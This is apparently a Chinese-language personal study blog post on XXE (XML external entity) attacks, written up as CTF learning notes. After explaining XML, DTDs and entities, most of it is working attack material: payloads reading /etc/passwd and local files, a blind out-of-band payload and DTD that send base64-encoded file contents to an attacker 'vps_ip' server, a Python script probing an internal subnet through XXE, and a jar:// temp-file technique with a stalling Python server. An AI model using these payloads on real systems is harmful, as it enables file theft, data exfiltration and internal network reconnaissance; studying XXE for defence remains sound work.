最近在学xxe,当做个笔记好了
XML
讲xxe之前先讲xml,毕竟xml是基础。xml是个神奇的东西,用来传输和存储数据,你可以理解成类似sql在数据库拿东西一样,xml也是一个可以拿东西的玩意儿。但是它注重数据的内容:它说明数据是什么,以及携带的数据信息。
XML文档结构
包括XML声明、DTD文档类型定义(可选)、文档元素
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
<?xml version="1.0"?> <!DOCTYPE note [ <!--定义此文档时候note类型的文档--> <!ELEMENT note (to,from,head,body)> <!--定义note包含四个元素--> <!ELEMENT to (#PCDATA)> <!--定义to元素为“#PCDATA”类型--> <!ELEMENT from (#PCDATA)> <!--定义from元素为“#PCDATA”类型--> <!ELEMENT head (#PCDATA)> <!--定义head元素为“#PCDATA”类型--> <!ELEMENT body (#PCDATA)> <!--定义body元素为“#PCDATA”类型--> ]]]> <note > <to > David</to > <from > Tom</from > <head > a mail</head > <body > hello David!</body > </note >
DTD
DTD,也就是文档类型定义,可以定义合法的XML文档构建模块,使用一系列合法的元素来定义文档的结构,既可内部引用,也可外部引用。
内部声明DTD
引用外部DTD
1 2
<!DOCTYPE 根元素 system "文件名"> <!DOCTYPE 根元素 PUBLIC “public_id” "文件名">
其他重要的内容 DOCTYPE (DTD的声明) ENTITY (实体的声明) SYSTEM、PUBLIC (外部资源的声明)
实体
实体类似于变量,但是必须在DTD里面声明,可以在文档中的其他位置引用该变量。 分四种: 内置实体 (Built-in entities) 字符实体 (Character entitties) 通用实体 (General entitites) 参数实体 (Parameter entitites) 还可以分为内部实体和外部实体,参数实体用%实体名称申明,引用时也用%实体名称;其余实体直接用实体名称申明,引用时用&实体名称。参数实体只能在DTD中申明,DTD中引用;其余实体只能是在DTD中申明,可在xml文档中引用。
内部实体
外部实体
1
<!ENTITY 实体名称 SYSTEM "URI ">
参数实体
1 2
<!ENTITY % 实体名称 "实体的值"> <!ENTITY % 实体名称 SYSYTEM "URI ">
非参数实体+内部实体
1 2 3 4 5 6 7
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE a [ <!ENTITY name "rouji"> ]> <foo > <value > &name;</value > </foo >
参数实体+内部实体
1 2 3 4 5
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE a [ <!ENTITY % name SYSTEM "file:///etc/passwd"> %name; ]>
当然除了file协议去读敏感文件,还有其他的协议可以利用
攻击
好的,前面的一堆铺垫相信大家隐隐约约感觉到了什么,嘻嘻,现在开始利用啦
最简单的利用:有回显的xxe
xml.php代码
1 2 3 4 5 6 7
<?php libxml_disable_entity_loader(false ); $xmlfile = file_get_contents('php://input' ); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $res = simplexml_import_dom($dom); echo $res;
可以看到,后台没有开启libxml_disable_entity_loader同时也没有什么waf,这就让我们可以更加方便地xxe打过去了 payload
1 2 3 4 5
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE name [ <!ENTITY roujiji SYSTEM "file:///d:/xmapp/htdocs/ctf/xxe/123.txt"> ]> <name > &roujiji;</name >
这个文件很友好,没有什么特殊符号,但是如果文件里面包含着很多尖括号等特殊符号那就gg了,我们记得xml是注重数据的内容的,所以遇上他们是会报错的鸭
读取有特殊符号的文件
编码绕过
这个时候我们可以对他进行base64编码
1 2 3 4 5
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE name [ <!ENTITY roujiji SYSTEM "php://filter/read=convert.base64-encode/resource=d:/xmapp/htdocs/ctf/xxe/234.txt"> ]> <name > &roujiji;</name >
CDATA绕过
CDATA中所有的字符都会被当做元素字符数据的常量部分而不是xml标记,也是这样,我们就可以输出特殊字符了 payload
1 2 3 4 5 6 7 8
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE name [ <!ENTITY % start "<![CDATA["> <!ENTITY % roujiji SYSTEM "file:///d:/xmapp/htdocs/ctf/xxe/234.txt"> <!ENTITY % end "]]> "> <!ENTITY % dtd SYSTEM "http: //vps_ip /evil.dtd "> %dtd; ]> <name > &all;</name >
evil.dtd
1 2
<?xml version="1.0" encoding="utf-8"?> <!ENTITY all "%start ;%roujiji ;%end ;">
可以看到,确实是可以将特殊字符也显示出来了
难一点点的无回显的xxe(Blind OOB XXE)
有回显是最美好的,但是很多时候没有回显的情况会更加常见,假如上面xml.php的代码去掉echo那一行,我们又要怎么利用呢? 举个栗子,xml文件变成了这样的
1 2 3 4 5
<?php libxml_disable_entity_loader(false ); $xmlfile = file_get_contents('php://input' ); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
文件的内容不能直接在网页显示,那我们可不可以将它打到自己的服务器上面呢 payload
1 2 3 4
<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://vps_ip/ctf/xxe/test.dtd"> %remote;%int;%send; ]>
test.dtd
1 2
<!ENTITY % file SYSTEM "php: //filter /read =convert.base64-encode/resource =file:///D:/twings.txt "> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://vps_ip:2333?p=%file;'>">
最后vps再监听一下端口
http内网主机探测
想象一下,既然我们可以利用它完成类似ssrf一样的操作去读文件,那其实访问服务器也是可以的鸭,而且靶机可以解析我们传上去的xml,如果我们将ip遍历一次,不就可以得到内网里面的主机的信息了吗
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
import requestsimport base64def build_xml (string) : xml = """<?xml version="1.0" encoding="ISO-8859-1"?>""" xml += "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >""" xml += "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>""" xml += "\r\n" + """<xml>""" xml += "\r\n" + """ <stuff>&xxe;</stuff>""" xml += "\r\n" + """</xml>""" send_xml(xml) def send_xml (xml) : headers = {'Content-Type' : 'application/xml' } x = requests.post('http://vps_ip/ctf/xxe/xml1.php' , data=xml, headers=headers, timeout=5 ).text coded_string = x.split(' ' )[-2 ] print(coded_string) for i in range(1 ,255 ): try : i = str(i) ip = "100.100.100." + i string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/' print(string) build_xml(string) except : continue
支持,我们就可以探测到所有主机的信息了
http内网主机端口扫描
同样的道理,我们也可以遍历一次主机的所有端口,用burp跑一下就行了
文件上传利用
这个利用一般会在java方面比较多,就是jar协议的利用 首先我们先了解一下jar协议
jar://
jar文件url语法:
1 2
jar:{url}!/{entry } url是文件的路径,entry 是想要解压出来的文件
jar处理文件的过程: 1、下载需要处理的文件到临时文件中 2、提取出我们想要的文件 3、删除临时文件 可以看到,jar处理文件是会生成临时文件的,那样我们怎么去找到那个临时文件并且进行利用呢 先来个本地测试 java代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
import java.io.File ;import javax.xml.parsers.DocumentBuilder;import javax.xml.parsers.DocumentBuilderFactory;import org.w3c.dom.Attr;import org.w3c.dom.Comment;import org.w3c.dom.Document;import org.w3c.dom.Element;import org.w3c.dom.NamedNodeMap;import org.w3c.dom.Node;import org.w3c.dom.NodeList;public class xml_test{ public static void main(String [] args) throws Exception{ DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder db = dbf.newDocumentBuilder(); Document doc = db.parse(new File ("src/student.xml" )); Element root = doc.getDocumentElement(); parseElement(root); } private static void parseElement(Element element){ String tagName = element.getNodeName(); NodeList children = element.getChildNodes(); System.out.print ("<" + tagName); NamedNodeMap map = element.getAttributes(); if (null != map ){ for (int i = 0 ; i < map .getLength(); i++){ Attr attr = (Attr)map .item(i); String attrName = attr.getName(); String attrValue = attr.getValue(); System.out.print (" " + attrName + "=\"" + attrValue + "\"" ); } } System.out.print (">" ); for (int i = 0 ; i < children.getLength(); i++){ Node node = children.item(i); short nodeType = node.getNodeType(); if (nodeType == Node.ELEMENT_NODE){ parseElement((Element)node); } else if (nodeType == Node.TEXT_NODE){ System.out.print (node.getNodeValue()); } else if (nodeType == Node.COMMENT_NODE){ System.out.print ("<!--" ); Comment comment = (Comment)node; String data = comment.getData(); System.out.print (data); System.out.print ("-->" ); } } System.out.print ("</" + tagName + ">" ); } }
student.xml的内容
1 2 3 4
<!DOCTYPE convert [ <!ENTITY remote SYSTEM "jar:http://localhost:9999/jar.zip!/1.php"> ]> <convert > &remote;</convert >
python服务器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
import sysimport timeimport threadingimport socketserverfrom urllib.parse import quoteimport http.client as httpclisten_host = 'localhost' listen_port = 9999 jar_file = sys.argv[1 ] class JarRequestHandler (socketserver.BaseRequestHandler) : def handle (self) : http_req = b'' print('New connection:' ,self.client_address) while b'\r\n\r\n' not in http_req: try : http_req += self.request.recv(4096 ) print('Client req:\r\n' ,http_req.decode()) jf = open(jar_file, 'rb' ) contents = jf.read() headers = ('''HTTP/1.0 200 OK\r\n''' '''Content-Type: application/java-archive\r\n\r\n''' ) self.request.sendall(headers.encode('ascii' )) self.request.sendall(contents[:-1 ]) time.sleep(30 ) print(30 ) self.request.sendall(contents[-1 :]) except Exception as e: print ("get error at:" +str(e)) if __name__ == '__main__' : jarserver = socketserver.TCPServer((listen_host,listen_port), JarRequestHandler) print ('waiting for connection...' ) server_thread = threading.Thread(target=jarserver.serve_forever) server_thread.daemon = True server_thread.start() server_thread.join()
我们先运行python服务器脚本,让其进行监听 然后再运行java脚本,可以看到报了个错,因为student.xml里面的jar.zip包里是没有1.php文件的,找不到自然就会报错 然后这个时候我们去找报错的文件路径,就可以看到那个临时文件了 既然能有临时文件,剩下的就是想办法让临时文件留的久一点进行操作了 我们可以让python的延时长一点,不仅仅是30s,同时,也可以将传上去的文件先最后加一个垃圾字符,然后在传到最后一秒的时候,停住不动,这样实际上已经传完了,但是服务器以为没传完而已,剩下的进行文件替换就行
评论